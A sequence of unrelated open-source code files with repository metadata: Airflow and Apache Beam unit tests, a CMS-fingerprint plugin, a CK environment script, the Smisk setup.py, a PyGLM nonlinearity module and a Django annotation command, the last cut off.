task = dms_hook.create_replication_task(**TASK_DATA)
start_task = DmsStartTaskOperator(task_id='start_task', replication_task_arn=task)
start_task.execute(None)
mock_start_replication_task.assert_called_once_with(
replication_task_arn=TASK_ARN,
start_replication_task_type='start-replication',
)
assert dms_hook.get_task_status(TASK_ARN) == 'starting'
| {
"content_hash": "5462ccee8b2d730cb926ab78ce33b22f",
"timestamp": "",
"source": "github",
"line_count": 43,
"max_line_length": 104,
"avg_line_length": 38.18604651162791,
"alnum_prop": 0.6930572472594397,
"repo_name": "dhuang/incubator-airflow",
"id": "8b5533cffe6ddd86827685c53895ecb0300d6490",
"size": "2427",
"binary": false,
"copies": "2",
"ref": "refs/heads/main",
"path": "tests/providers/amazon/aws/operators/test_dms_start_task.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "109698"
},
{
"name": "HTML",
"bytes": "264851"
},
{
"name": "JavaScript",
"bytes": "1988427"
},
{
"name": "Mako",
"bytes": "1037"
},
{
"name": "Python",
"bytes": "3357958"
},
{
"name": "Shell",
"bytes": "34442"
}
],
"symlink_target": ""
} |
def run(whatweb, pluginname):
whatweb.recog_from_header(pluginname, "WT263CDN")
| {
"content_hash": "e67789452d57126db6309c0772b98c25",
"timestamp": "",
"source": "github",
"line_count": 3,
"max_line_length": 53,
"avg_line_length": 28.333333333333332,
"alnum_prop": 0.7411764705882353,
"repo_name": "cflq3/getcms",
"id": "855082f4e7bb458831bff9110f513de4526a4aa2",
"size": "127",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "plugins/west263_cdn.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "38646"
}
],
"symlink_target": ""
} |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import shutil
import tempfile
import time
import unittest
from apache_beam.io import filesystems
from apache_beam.runners.interactive import cache_manager as cache
class FileBasedCacheManagerTest(unittest.TestCase):
"""Unit test for FileBasedCacheManager.
Note that this set of tests focuses only the the methods that interacts with
the LOCAL file system. The idea is that once FileBasedCacheManager works well
with the local file system, it should work with any file system with
`apache_beam.io.filesystem` interface. Those tests that involve interactions
with Beam pipeline (i.e. source(), sink(), ReadCache, and WriteCache) will be
tested with InteractiveRunner as a part of integration tests instead.
"""
def setUp(self):
self.test_dir = tempfile.mkdtemp()
self.cache_manager = cache.FileBasedCacheManager(self.test_dir)
def tearDown(self):
# The test_dir might have already been removed by cache_manager.cleanup().
if os.path.exists(self.test_dir):
shutil.rmtree(self.test_dir)
def mock_write_cache(self, pcoll_list, prefix, cache_label):
"""Cache the PCollection where cache.WriteCache would write to."""
cache_path = filesystems.FileSystems.join(
self.cache_manager._cache_dir, prefix)
if not filesystems.FileSystems.exists(cache_path):
filesystems.FileSystems.mkdirs(cache_path)
# Pause for 0.1 sec, because the Jenkins test runs so fast that the file
# writes happen at the same timestamp.
time.sleep(0.1)
cache_file = cache_label + '-1-of-2'
with open(self.cache_manager._path(prefix, cache_file), 'w') as f:
for line in pcoll_list:
f.write(cache.SafeFastPrimitivesCoder().encode(line))
f.write('\n')
def test_exists(self):
"""Test that CacheManager can correctly tell if the cache exists or not."""
prefix = 'full'
cache_label = 'some-cache-label'
cache_version_one = ['cache', 'version', 'one']
self.assertFalse(self.cache_manager.exists(prefix, cache_label))
self.mock_write_cache(cache_version_one, prefix, cache_label)
self.assertTrue(self.cache_manager.exists(prefix, cache_label))
self.cache_manager.cleanup()
self.assertFalse(self.cache_manager.exists(prefix, cache_label))
self.mock_write_cache(cache_version_one, prefix, cache_label)
self.assertTrue(self.cache_manager.exists(prefix, cache_label))
def test_read_basic(self):
"""Test the condition where the cache is read once after written once."""
prefix = 'full'
cache_label = 'some-cache-label'
cache_version_one = ['cache', 'version', 'one']
self.mock_write_cache(cache_version_one, prefix, cache_label)
pcoll_list, version = self.cache_manager.read(prefix, cache_label)
self.assertListEqual(pcoll_list, cache_version_one)
self.assertEqual(version, 0)
self.assertTrue(
self.cache_manager.is_latest_version(version, prefix, cache_label))
def test_read_version_update(self):
"""Tests if the version is properly updated after the files are updated."""
prefix = 'full'
cache_label = 'some-cache-label'
cache_version_one = ['cache', 'version', 'one']
cache_version_two = ['cache', 'version', 'two']
self.mock_write_cache(cache_version_one, prefix, cache_label)
pcoll_list, version = self.cache_manager.read(prefix, cache_label)
self.mock_write_cache(cache_version_two, prefix, cache_label)
self.assertFalse(
self.cache_manager.is_latest_version(version, prefix, cache_label))
pcoll_list, version = self.cache_manager.read(prefix, cache_label)
self.assertListEqual(pcoll_list, cache_version_two)
self.assertEqual(version, 1)
self.assertTrue(
self.cache_manager.is_latest_version(version, prefix, cache_label))
def test_read_before_write(self):
"""Test the behavior when read() is called before WriteCache completes."""
prefix = 'full'
cache_label = 'some-cache-label'
self.assertFalse(self.cache_manager.exists(prefix, cache_label))
pcoll_list, version = self.cache_manager.read(prefix, cache_label)
self.assertListEqual(pcoll_list, [])
self.assertEqual(version, -1)
self.assertTrue(
self.cache_manager.is_latest_version(version, prefix, cache_label))
def test_read_over_cleanup(self):
"""Test the behavior of read() over cache cleanup."""
prefix = 'full'
cache_label = 'some-cache-label'
cache_version_one = ['cache', 'version', 'one']
cache_version_two = ['cache', 'version', 'two']
# The initial write and read.
self.mock_write_cache(cache_version_one, prefix, cache_label)
pcoll_list, version = self.cache_manager.read(prefix, cache_label)
# Cache cleanup.
self.cache_manager.cleanup()
# Check that even if cache is evicted, the latest version stays the same.
self.assertTrue(
self.cache_manager.is_latest_version(version, prefix, cache_label))
pcoll_list, version = self.cache_manager.read(prefix, cache_label)
self.assertListEqual(pcoll_list, [])
self.assertEqual(version, -1)
self.assertFalse(
self.cache_manager.is_latest_version(version, prefix, cache_label))
# PCollection brought back to cache.
self.mock_write_cache(cache_version_two, prefix, cache_label)
self.assertFalse(
self.cache_manager.is_latest_version(version, prefix, cache_label))
pcoll_list, version = self.cache_manager.read(prefix, cache_label)
self.assertListEqual(pcoll_list, cache_version_two)
# Check that version continues from the previous value instead of starting
# from 0 again.
self.assertEqual(version, 1)
self.assertTrue(
self.cache_manager.is_latest_version(version, prefix, cache_label))
if __name__ == '__main__':
unittest.main()
| {
"content_hash": "f4148a6bc3b044bb648c9961bfa1c22c",
"timestamp": "",
"source": "github",
"line_count": 150,
"max_line_length": 79,
"avg_line_length": 39.26,
"alnum_prop": 0.7072508065885549,
"repo_name": "rangadi/beam",
"id": "ff82f3b1b2371078101ec815bfc7e2c1c8c0e9d8",
"size": "6674",
"binary": false,
"copies": "5",
"ref": "refs/heads/master",
"path": "sdks/python/apache_beam/runners/interactive/cache_manager_test.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "40964"
},
{
"name": "Dockerfile",
"bytes": "22943"
},
{
"name": "FreeMarker",
"bytes": "7428"
},
{
"name": "Go",
"bytes": "2283335"
},
{
"name": "Groovy",
"bytes": "250105"
},
{
"name": "HTML",
"bytes": "51517"
},
{
"name": "Java",
"bytes": "23676245"
},
{
"name": "JavaScript",
"bytes": "16472"
},
{
"name": "Jupyter Notebook",
"bytes": "54182"
},
{
"name": "Python",
"bytes": "4204946"
},
{
"name": "Ruby",
"bytes": "4227"
},
{
"name": "Shell",
"bytes": "171756"
}
],
"symlink_target": ""
} |
def setup(i):
"""
Input: {
cfg - meta of this soft entry
self_cfg - meta of module soft
ck_kernel - import CK kernel module (to reuse functions)
host_os_uoa - host OS UOA
host_os_uid - host OS UID
host_os_dict - host OS meta
target_os_uoa - target OS UOA
target_os_uid - target OS UID
target_os_dict - target OS meta
target_device_id - target device ID (if via ADB)
tags - list of tags used to search this entry
env - updated environment vars from meta
customize - updated customize vars from meta
deps - resolved dependencies for this soft
interactive - if 'yes', can ask questions, otherwise quiet
}
Output: {
return - return code = 0, if successful
> 0, if error
(error) - error text if return > 0
bat - prepared string for bat file
}
"""
import os
# Get variables
ck=i['ck_kernel']
s=''
iv=i.get('interactive','')
env=i.get('env',{})
cfg=i.get('cfg',{})
deps=i.get('deps',{})
tags=i.get('tags',[])
cus=i.get('customize',{})
target_d=i.get('target_os_dict',{})
win=target_d.get('windows_base','')
remote=target_d.get('remote','')
mingw=target_d.get('mingw','')
tbits=target_d.get('bits','')
envp=cus.get('env_prefix','')
pi=cus.get('path_install','')
host_d=i.get('host_os_dict',{})
sdirs=host_d.get('dir_sep','')
fp=cus.get('full_path','')
if fp!='':
p1=os.path.dirname(fp)
pi=os.path.dirname(p1)
cus['path_lib']=pi+sdirs+'lib'
ep=cus.get('env_prefix','')
if ep!='':
if pi!='':
env[ep]=pi
env[ep+'_SRC']=pi+sdirs+'openme'+sdirs+'src'
return {'return':0, 'bat':s}
| {
"content_hash": "041346b19123b95cf969cf540fe93621",
"timestamp": "",
"source": "github",
"line_count": 77,
"max_line_length": 77,
"avg_line_length": 27.064935064935064,
"alnum_prop": 0.4731285988483685,
"repo_name": "ctuning/ck-env",
"id": "3cde2597515f9e91a3e1c4bd296551ddb620efe2",
"size": "2418",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "soft/lib.openme.java/customize.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "1C Enterprise",
"bytes": "17"
},
{
"name": "Ada",
"bytes": "17"
},
{
"name": "Batchfile",
"bytes": "34416"
},
{
"name": "C",
"bytes": "179488"
},
{
"name": "C++",
"bytes": "299120"
},
{
"name": "CMake",
"bytes": "161769"
},
{
"name": "ChucK",
"bytes": "17"
},
{
"name": "Faust",
"bytes": "17"
},
{
"name": "HCL",
"bytes": "17"
},
{
"name": "HTML",
"bytes": "207490"
},
{
"name": "Hack",
"bytes": "17"
},
{
"name": "Inno Setup",
"bytes": "17"
},
{
"name": "Java",
"bytes": "35"
},
{
"name": "Makefile",
"bytes": "245"
},
{
"name": "Perl",
"bytes": "17"
},
{
"name": "Python",
"bytes": "1279851"
},
{
"name": "R",
"bytes": "17"
},
{
"name": "Roff",
"bytes": "204"
},
{
"name": "Shell",
"bytes": "301298"
},
{
"name": "TeX",
"bytes": "35"
},
{
"name": "Thrift",
"bytes": "17"
}
],
"symlink_target": ""
} |
#!/usr/bin/env python
# encoding: utf-8
try:
from setuptools import setup
except ImportError:
from ez_setup import use_setuptools
use_setuptools()
from setuptools import setup
import sys, os, time, platform, re, subprocess
from setuptools import Extension as _Extension, Distribution, Command
from pkg_resources import parse_version
from distutils import log
from subprocess import Popen, PIPE
from ConfigParser import SafeConfigParser as ConfigParser
if sys.version_info < (2, 4):
raise SystemExit("Python 2.4 or later is required")
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
os.chdir(BASE_DIR)
execfile(os.path.join("lib", "smisk", "release.py"))
# Load config
cfg = ConfigParser()
cfg.read('setup.cfg')
tag = ''
v = None
release_version = version
if cfg.has_option('egg_info', 'tag_build'):
tag = cfg.get('egg_info', 'tag_build')
release_version = release_version + tag.strip()
v = parse_version(release_version)
else:
v = parse_version(version)
if '--release-version' in sys.argv:
print release_version
sys.exit(0)
# we just need to do this right here. sorry.
undef_macros=[]
if '--debug' in sys.argv or '--debug-smisk' in sys.argv:
undef_macros=['NDEBUG']
SYS_CONF_H = os.path.join(BASE_DIR, "src", "system_config.h")
X86_MACHINES = ['i386', 'i686', 'i86pc', 'amd64', 'x86_64']
HAVE_HEADERS = [
'fcntl.h',
'sys/file.h',
'sys/time.h',
'sys/stat.h',
'sys/utsname.h'
]
#-------------------------------
sources = [
'src/__init__.c',
'src/utils.c',
'src/uid.c',
'src/atoin.c',
'src/cstr.c',
'src/multipart.c',
'src/sha1.c',
'src/file_info.c',
'src/file_lock.c',
'src/crash_dump.c',
'src/Application.c',
'src/Request.c',
'src/Response.c',
'src/Stream.c',
'src/URL.c',
'src/SessionStore.c',
'src/FileSessionStore.c',
'src/xml/__init__.c']
classifiers = [
'Environment :: Console',
'Intended Audience :: Developers',
'Intended Audience :: Information Technology',
'License :: OSI Approved :: MIT License',
'Operating System :: MacOS :: MacOS X',
'Operating System :: POSIX',
'Operating System :: Unix',
'Programming Language :: C',
'Programming Language :: Python',
'Natural Language :: English',
'Topic :: Internet :: WWW/HTTP',
'Topic :: Software Development :: Libraries :: Python Modules'
]
if v[2] == '*final':
classifiers.append('Development Status :: 5 - Production/Stable')
else:
classifiers.append('Development Status :: 4 - Beta')
# -----------------------------------------
# Helpers
from distutils.dir_util import remove_tree
def read(*rnames):
return open(os.path.join(*rnames)).read()
def rm_file(path):
if os.access(path, os.F_OK):
os.remove(path)
log.info('removed file %s', path)
def rm_dir(path):
if os.access(path, os.F_OK):
remove_tree(path)
log.info('removed directory %s', path)
import shutil
copy_file = shutil.copy
def shell_cmd(args, cwd=BASE_DIR):
'''Returns stdout as string or None on failure
'''
if not isinstance(args, (list, tuple)):
args = [args]
ps = Popen(args, shell=True, cwd=cwd, stdout=PIPE, stderr=PIPE,
close_fds=True)
stdout, stderr = ps.communicate()
if ps.returncode != 0:
if stderr:
stderr = stderr.strip()
raise IOError('Shell command %s failed (exit status %r): %s' %\
(args, ps.returncode, stderr))
return stdout.strip()
_core_build_id = None
def core_build_id():
'''Unique id in URN form, distinguishing each unique build.
If building from a repository checkout, the resulting string
will have the format "urn:rcsid:IDENTIFIER". If building
from source which is not under revision control, the build id
will have the format "urn:utcts:YYYYMMDDHHMMSS". (UTC timestamp)
In the special case of a Debian package, there is a suffix of
the following format: ":debian:" package-revision
Examples of Debianized build ids:
urn:rcsid:1d348b83a8a8297267c25a1dc86fa170c6d141df:debian:3
urn:utcts:20081030020621:debian:3
Dirty repositories generate a urn:rcsid with a trailing "+"
followed by a base 16 encoded timestamp.
A "unique build" is defined as the sum of all source code bytes
combined. A single modification anywhere causes a new unique
instance to be "born".
This value can be overridden by exporting the SMISK_BUILD_ID
environment variable, but keep in mind to use a URN av value.
:return: URN
:rtype: string
'''
global _core_build_id
if _core_build_id is None:
if 'SMISK_BUILD_ID' in os.environ:
_core_build_id = os.environ['SMISK_BUILD_ID']
else:
# Maybe under revision control
try:
_core_build_id = shell_cmd(['git rev-parse master'])
except IOError:
pass
if _core_build_id:
dirty_extra = ''
if _core_build_id[-1] == '+':
dirty_extra = '%x' % int(time.time())
_core_build_id = 'urn:rcsid:%s%s' % (_core_build_id, dirty_extra)
if not _core_build_id:
# Not under revision control
_core_build_id = time.strftime('urn:utcts:%Y%m%d%H%M%S', time.gmtime())
if 'SMISK_BUILD_ID_SUFFIX' in os.environ:
_core_build_id += os.environ['SMISK_BUILD_ID_SUFFIX']
return _core_build_id
if '--print-build-id' in sys.argv:
print core_build_id()
sys.exit(0)
# -----------------------------------------
# Commands
class Extension(_Extension):
def built_product_path(self, build_dir):
relpath = self.name.split('.')
path = os.path.join(build_dir, *relpath[:-1])
match_prefix = '%s.' % relpath[-1]
for f in os.listdir(path):
if f.startswith(match_prefix):
fn = os.path.join(path, f)
if not os.path.isdir(fn):
return fn
from distutils.command.build import build as _build
class build(_build):
description = 'will build the whole package'
user_options = _build.user_options
user_options.append(
('debug-smisk', None, "compile Smisk with debugging information. Implies --debug"),
)
boolean_options = _build.boolean_options
boolean_options.append('debug_smisk')
sub_commands = [('build_py', _build.has_pure_modules),
('build_clib', _build.has_c_libraries),
('build_ext', _build.has_ext_modules),
('build_scripts', _build.has_scripts),
]
def initialize_options(self):
_build.initialize_options(self)
self.debug_smisk = False
from setuptools.command.build_ext import build_ext as _build_ext
class build_ext(_build_ext):
description = 'Build smisk.core C extension (compile/link to build directory)'
def finalize_options(self):
_build_ext.finalize_options(self)
self.include_dirs.extend([
'/usr/include',
'/usr/local/include',
'/usr/include'])
self.library_dirs.extend([
'/lib64',
'/usr/lib64',
'/lib',
'/usr/lib',
'/usr/local/lib'])
self.libraries.append('fcgi')
self.define = [
('SMISK_VERSION', '"%s"' % version),
('SMISK_BUILD_ID', '"%s"' % core_build_id()),
]
self.undef = []
def run(self):
self._run_config_if_needed()
self._check_prefix_modified()
self._configure_compiler()
log.info('include dirs: %r', self.include_dirs)
log.info('library dirs: %r', self.library_dirs)
_build_ext.run(self)
def built_product_paths(self):
product_paths = []
for ext in self.extensions:
path = ext.built_product_path(self.build_lib)
if path:
product_paths.append(path)
return product_paths
def resolve_local_imports(self, fn, paths):
include_re = re.compile(r'^\s*#(?:include|import)\s+"([^"]+)"', re.I)
fdir = os.path.dirname(fn)
f = open(fn, 'r')
try:
for line in f:
m = include_re.match(line)
if m:
include_fn = os.path.abspath(os.path.join(fdir, m.group(1)))
if include_fn not in paths:
paths.append(include_fn)
self.resolve_local_imports(include_fn, paths)
finally:
f.close()
def find_precompiled(self):
prefix_h = os.path.abspath('src/prefix.h')
paths = [prefix_h]
self.resolve_local_imports(prefix_h, paths)
return paths
def _check_prefix_modified(self):
if self.force:
return
built_product_paths = self.built_product_paths()
for precompiled_fn in self.find_precompiled():
precompiled_mt = os.path.getmtime(precompiled_fn)
for product_fn in built_product_paths:
if precompiled_mt > os.path.getmtime(product_fn):
log.info('Precompiled file %s have been modified -- forcing complete rebuild', precompiled_fn)
self.force = True
break
if self.force:
break
def _run_config_if_needed(self):
run_configure = True
try:
# If system_config.h is newer than this file and exists: don't create it again.
if os.path.getmtime(SYS_CONF_H) > os.path.getmtime(__file__):
run_configure = False
except os.error:
pass
if run_configure or self.force:
self.run_command('config')
def _configure_compiler(self):
global cflags, include_dirs, library_dirs, libraries, version
machine = platform.machine()
log.debug("Configuring compiler...")
cflags = ' -include "%s"' % os.path.realpath(os.path.join(
os.path.dirname(__file__), "src", "prefix.h"))
# Warning flags
warnings = ['all', 'no-unknown-pragmas']
cflags += ''.join([' -W%s' % w for w in warnings])
if '--debug' in sys.argv or '--debug-smisk' in sys.argv:
log.debug("Mode: debug -- setting appropriate cflags and macros")
self.debug = True
cflags += ' -O0'
self.define.append(('DEBUG', '1'))
if '--debug-smisk' in sys.argv:
log.info("Enabling Smisk debug messages")
self.define.append(('SMISK_DEBUG', '1'))
else:
log.debug("Mode: release -- setting appropriate cflags and macros")
self.debug = False
cflags += ' -Os'
if machine in X86_MACHINES:
log.debug("Enabling SSE3 support")
cflags += ' -msse3'
if platform.system() == 'Darwin':
cflags += ' -mssse3'
# set c flags
if 'CFLAGS' in os.environ:
os.environ['CFLAGS'] += cflags
else:
os.environ['CFLAGS'] = cflags
from distutils.command.config import config as _config
class config(_config):
description = 'Configure build (almost like "./configure")'
def initialize_options (self):
global include_dirs, libraries
_config.initialize_options(self)
self.noisy = 0
self.dump_source = 0
self.macros = {}
def run(self):
self._machine()
self._headers()
self._libraries()
self._write_system_config_h()
def _silence(self):
self.orig_log_threshold = log._global_log.threshold
log._global_log.threshold = log.WARN
def _unsilence(self):
log._global_log.threshold = self.orig_log_threshold
def check_header(self, *args, **kwargs):
self._silence()
r = _config.check_header(self, *args, **kwargs)
self._unsilence()
return r
def _machine(self):
# Alignment
machine = platform.machine()
log.info('checking machine alignment')
if machine in X86_MACHINES:
log.debug('non-aligned')
self.macros['SMISK_SYS_NONALIGNED'] = 1
else:
log.debug('aligned')
# Endianess
log.info('checking machine endianess')
test = self._run('''
int main (int argc, const char * argv[]) {
int i = 0x11223344;
char *p = (char *) &i;
if (*p == 0x44) return 0;
return 1;
}
''')
if test == 0:
self.macros['SMISK_SYS_LITTLE_ENDIAN'] = 1
log.debug("little endian")
else:
log.debug("big endian")
def _headers(self):
defname_re = re.compile('[^a-zA-Z_]')
for fn in HAVE_HEADERS:
log.info('checking for header %s', fn)
if self.check_header(header=fn):
log.debug("found %s", fn)
self.macros['HAVE_%s' % defname_re.sub('_', fn).upper()] = 1
else:
log.debug("missing")
def _libraries(self):
global required_libraries, libraries
for n in [('fcgi', ['fastcgi.h', 'fcgiapp.h'])]:
log.info('checking for library %s', n[0])
sys.stdout.flush()
self._silence()
ok = self.check_lib(library=n[0], headers=n[1])
self._unsilence()
if not ok:
log.error("missing required library %s" % n[0])
sys.exit(1)
def _run(self, body, headers=None, include_dirs=None, libraries=None, library_dirs=None, lang='c'):
self._silence()
self._check_compiler()
(src, obj, prog) = self._link(body=body, headers=headers, include_dirs=[],
libraries=libraries, library_dirs=library_dirs, lang=lang)
self._unsilence()
if prog.find('/') == -1:
prog = './' + prog
ps = Popen(shell=True, args=[prog])
exit_code = ps.wait()
self._clean()
return exit_code
def _write_system_config_h(self):
import re
f = open(SYS_CONF_H, "w")
try:
try:
f.write("/* Generated by setup.py at %s */\n" % time.strftime("%c %z"))
f.write("#ifndef SMISK_SYSTEM_CONFIG_H\n")
f.write("#define SMISK_SYSTEM_CONFIG_H\n\n")
for k,v in self.macros.items():
f.write("#ifndef %s\n" % k)
f.write(" #define %s %s\n" % (k, str(v)) )
f.write("#endif\n")
f.write("\n#endif\n")
log.info('wrote compile-time configuration to %s', SYS_CONF_H)
finally:
f.close()
except:
os.remove(SYS_CONF_H)
raise
class sphinx_build(Command):
description = 'build documentation using Sphinx if available'
user_options = [
('builder=', 'b', 'builder to use; default is html'),
('all', 'a', 'write all files; default is to only write new and changed files'),
('reload-env', 'E', "don't use a saved environment, always read all files"),
('source-dir=', 's', 'path where sources are read from (default: docs/source)'),
('out-dir=', 'o', 'path where output is stored (default: docs/<builder>)'),
('cache-dir=', 'd', 'path for the cached environment and doctree files (default: outdir/.doctrees)'),
('conf-dir=', 'c', 'path where configuration file (conf.py) is located (default: same as source-dir)'),
('set=', 'D', '<setting=value> override a setting in configuration'),
('no-color', 'N', 'do not do colored output'),
('pdb', 'P', 'run Pdb on exception'),
]
boolean_options = ['all', 'reload-env', 'no-color', 'pdb']
def initialize_options(self):
self.sphinx_args = []
self.builder = None
self.all = False
self.reload_env = False
self.source_dir = None
self.out_dir = None
self.cache_dir = None
self.conf_dir = None
self.set = None
self.no_color = False
self.pdb = False
def finalize_options(self):
self.sphinx_args.append('sphinx-build')
if self.builder is None:
self.builder = 'html'
self.sphinx_args.extend(['-b', self.builder])
if self.all:
self.sphinx_args.append('-a')
if self.reload_env:
self.sphinx_args.append('-E')
if self.no_color or ('PS1' not in os.environ and 'PROMPT_COMMAND' not in os.environ):
self.sphinx_args.append('-N')
if not self.distribution.verbose:
self.sphinx_args.append('-q')
if self.pdb:
self.sphinx_args.append('-P')
if self.cache_dir is not None:
self.sphinx_args.extend(['-d', self.cache_dir])
if self.conf_dir is not None:
self.sphinx_args.extend(['-c', self.conf_dir])
if self.set is not None:
self.sphinx_args.extend(['-D', self.set])
if self.source_dir is None:
self.source_dir = os.path.join('docs', 'source')
if self.out_dir is None:
self.out_dir = os.path.join('docs', self.builder)
self.sphinx_args.extend([self.source_dir, self.out_dir])
def run(self):
try:
import sphinx
if not os.path.exists(self.out_dir):
if self.dry_run:
self.announce('skipping creation of directory %s (dry run)' % self.out_dir)
else:
self.announce('creating directory %s' % self.out_dir)
os.makedirs(self.out_dir)
if self.dry_run:
self.announce('skipping %s (dry run)' % ' '.join(self.sphinx_args))
else:
self.announce('running %s' % ' '.join(self.sphinx_args))
sphinx.main(self.sphinx_args)
except ImportError, e:
log.info('Sphinx not installed -- skipping documentation. (%s)', e)
class debian(Command):
description = 'build debian packages'
user_options = [
('upload', 'u', 'upload resulting package using dupload'),
('binary-only', 'b', 'indicates that no source files are to be built and/or distributed'),
('source-only', 'S', 'specifies that only the source should be uploaded and no binary '\
'packages need to be made'),
('key-id=', 'k', 'specify a key-ID to use when signing packages'),
]
boolean_options = ['upload', 'binary', 'source']
def initialize_options(self):
self.args = []
self.upload = False
self.binary_only = False
self.source_only = False
self.key_id = None
def finalize_options(self):
self.args.append('admin/dist-debian.sh')
if self.upload:
self.args.append('-u')
if self.binary_only and self.source_only:
raise Exception('arguments --binary-only and --source-only can not be used together')
elif self.binary_only:
self.args.append('-b')
elif self.source_only:
self.args.append('-S')
if self.key_id:
self.args.append('-k'+self.key_id)
def run(self):
cmd = ' '.join(self.args)
if self.dry_run:
self.announce('skipping %s (dry run)' % cmd)
else:
self.announce('running %s' % cmd)
status = subprocess.call(cmd, shell=True)
if status != 0:
sys.exit(status)
from distutils.command.clean import clean as _clean
class clean(_clean):
def run(self):
_clean.run(self)
log.info('Removing files generated by setup.py')
for path in ['MANIFEST', 'src/system_config.h']:
rm_file(path)
log.info('Removing generated documentation')
rm_dir('docs/html')
rm_dir('docs/latex')
rm_dir('docs/pdf')
from setuptools.command.sdist import sdist as _sdist
class sdist(_sdist):
def run(self):
try:
_sdist.run(self)
finally:
for path in ['MANIFEST']:
rm_file(path)
# -----------------------------------------
class SmiskDistribution(Distribution):
def __init__(self, attrs=None):
Distribution.__init__(self, attrs)
self.cmdclass = {
'build': build,
'build_ext': build_ext,
'sdist': sdist,
'config': config,
'docs': sphinx_build,
'clean': clean,
}
try:
shell_cmd('which dpkg-buildpackage')
self.cmdclass['debian'] = debian
except IOError:
# Not a debian system or dpkg-buildpackage not installed
pass
# -----------------------------------------
setup(
distclass = SmiskDistribution,
name = "smisk",
version = version,
author = author,
author_email = email,
license = license,
description = "High-performance web service framework",
long_description = (
"\n"+read('README.rst')
+ "\n"
+ read('CHANGELOG.rst')
+ "\n"
'License\n'
'=======\n'
+ read('LICENSE')
+ '\n'
'Download\n'
'========\n'
),
url = 'http://python-smisk.org/',
platforms = "ALL",
classifiers = classifiers,
zip_safe = False, # I don't like zipped eggs. However Smisk _can_ be zip-egged.
package_dir = {'': 'lib'},
packages = [
'smisk',
'smisk.core',
'smisk.inflection',
'smisk.ipc',
'smisk.mvc',
'smisk.mvc.template',
'smisk.serialization',
'smisk.util',
'smisk.test',
'smisk.test.core',
'smisk.test.live',
'smisk.test.mvc',
'smisk.test.util',
],
include_package_data=True,
exclude_package_data={"debian" : ["*"]},
ext_modules = [Extension(
name = '_smisk',
sources = sources,
undef_macros = undef_macros
)],
test_suite = 'smisk.test',
extras_require={
'serialization': ['python-cjson'], # or minjson
},
)
| {
"content_hash": "23a6d33c92cd1eabc133ed1d2b727855",
"timestamp": "",
"source": "github",
"line_count": 687,
"max_line_length": 105,
"avg_line_length": 27.653566229985444,
"alnum_prop": 0.6491209601010632,
"repo_name": "rsms/smisk",
"id": "44f243f3e9e1b641e0bf4721d855b50a02277bb6",
"size": "18998",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "setup.py",
"mode": "33261",
"license": "mit",
"language": [
{
"name": "C",
"bytes": "216703"
},
{
"name": "Python",
"bytes": "435347"
},
{
"name": "Shell",
"bytes": "10500"
}
],
"symlink_target": ""
} |
import numpy as np
import theano.tensor as T
from pyglm.components.component import Component
def create_nlin_component(model):
type = model['nonlinearity']['type'].lower()
if type == 'exp':
nlin = ExpNonlinearity(model)
elif type == 'explinear':
nlin = ExpLinearNonlinearity(model)
else:
raise Exception("Unrecognized nonlinearity model: %s" % type)
return nlin
class ExpNonlinearity(Component):
""" Standard exponential nonlinearity.
"""
def __init__(self, model):
""" Initialize the component with the parameters from the given model,
the vector of symbolic variables, vars, and the offset into that vector, offset.
"""
self.nlin = T.exp
self.log_p = T.constant(0.)
self.f_nlin = np.exp
class ExpLinearNonlinearity(Component):
""" Exponential nonlinearity (\lambda=e^x) for x<0,
Linear (\lambda=1+x) for x>0.
This is nice because it satisfies a Lipschitz bound of 1.
"""
def __init__(self, model):
""" Initialize the component with the parameters from the given model,
the vector of symbolic variables, vars, and the offset into that vector, offset.
"""
# self.nlin = lambda x: T.switch(T.lt(x,0), T.exp(x), 1.0+x)
self.nlin = lambda x: T.log(1.0+T.exp(x))
self.log_p = T.constant(0.)
# self.f_nlin = lambda x: np.exp(x)*(x<0) + (1.0+x)*(x>=0)
self.f_nlin = lambda x: np.log(1.0+np.exp(x))
| {
"content_hash": "8256a46d78bb72d17dd5a8cb3fb6b20a",
"timestamp": "",
"source": "github",
"line_count": 47,
"max_line_length": 88,
"avg_line_length": 32.08510638297872,
"alnum_prop": 0.6147214854111406,
"repo_name": "slinderman/theano_pyglm",
"id": "6c7d243284faa9609d0dff8b9a294e4658158eab",
"size": "1508",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "pyglm/components/nlin.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "448608"
}
],
"symlink_target": ""
} |
from django.core.management.base import BaseCommand, CommandError
from javanlp.models import Sentence
from javanlp.util import annotate_document
import os, stat, csv
class Command(BaseCommand):
'Takes documents from [source], sends them through JavaNLP for annotations and then populates the sentences table.'
help = 'Takes documents from [source], sends them through JavaNLP for annotations and then populates the sentences table.'
def add_arguments(self, parser):
parser.add_argument('--directory', type=str, help="Path to a directory from which to read each document sequentially")
parser.add_argument('--csv', type=str, help="Path to a CSV file with format 'docid,gloss'")
parser.add_argument('--server', type=str, default='localhost:9000', help="A JavaNLP annotation server endpoint")
def get_docstream(self, **options):
"""
Obtain a stream of documents from the arguments
"""
if options['directory'] is not None:
top = options['directory']
for fname in os.listdir(top):
path = os.path.join(top, fname)
# For each file.
if stat.S_ISREG(os.stat(path).st_mode):
with open(path) as f:
doc_id = fname.split('.', 1)[0]
gloss = f.read()
yield doc_id, gloss
elif options['csv'] is not None:
with open(options['csv']) as f:
for doc_id, gloss in csv.reader(f):
yield doc_id, gloss
def handle(self, *args, **options):
if (not options['directory'] is None and not options['csv'] is None) or (options['directory'] is None and options['csv'] is None):
raise CommandError("Must set exactly one of directory or csv")
stream = self.get_docstream(**options)
for doc_id, gloss in stream:
print(doc_id)
# Get annotations from the javanlp server.
for sentence in annotate_document(doc_id, gloss, server=options['server']):
sentence.save()
| {
"content_hash": "440ee81f1aa7cfaf28664066458883b2",
"timestamp": "",
"source": "github",
"line_count": 47,
"max_line_length": 138,
"avg_line_length": 44.95744680851064,
"alnum_prop": 0.6100331282536677,
"repo_name": "arunchaganty/presidential-debates",
"id": "4f4344625abf5b5e63ddcb91296b6c7578a18303",
"size": "2114",
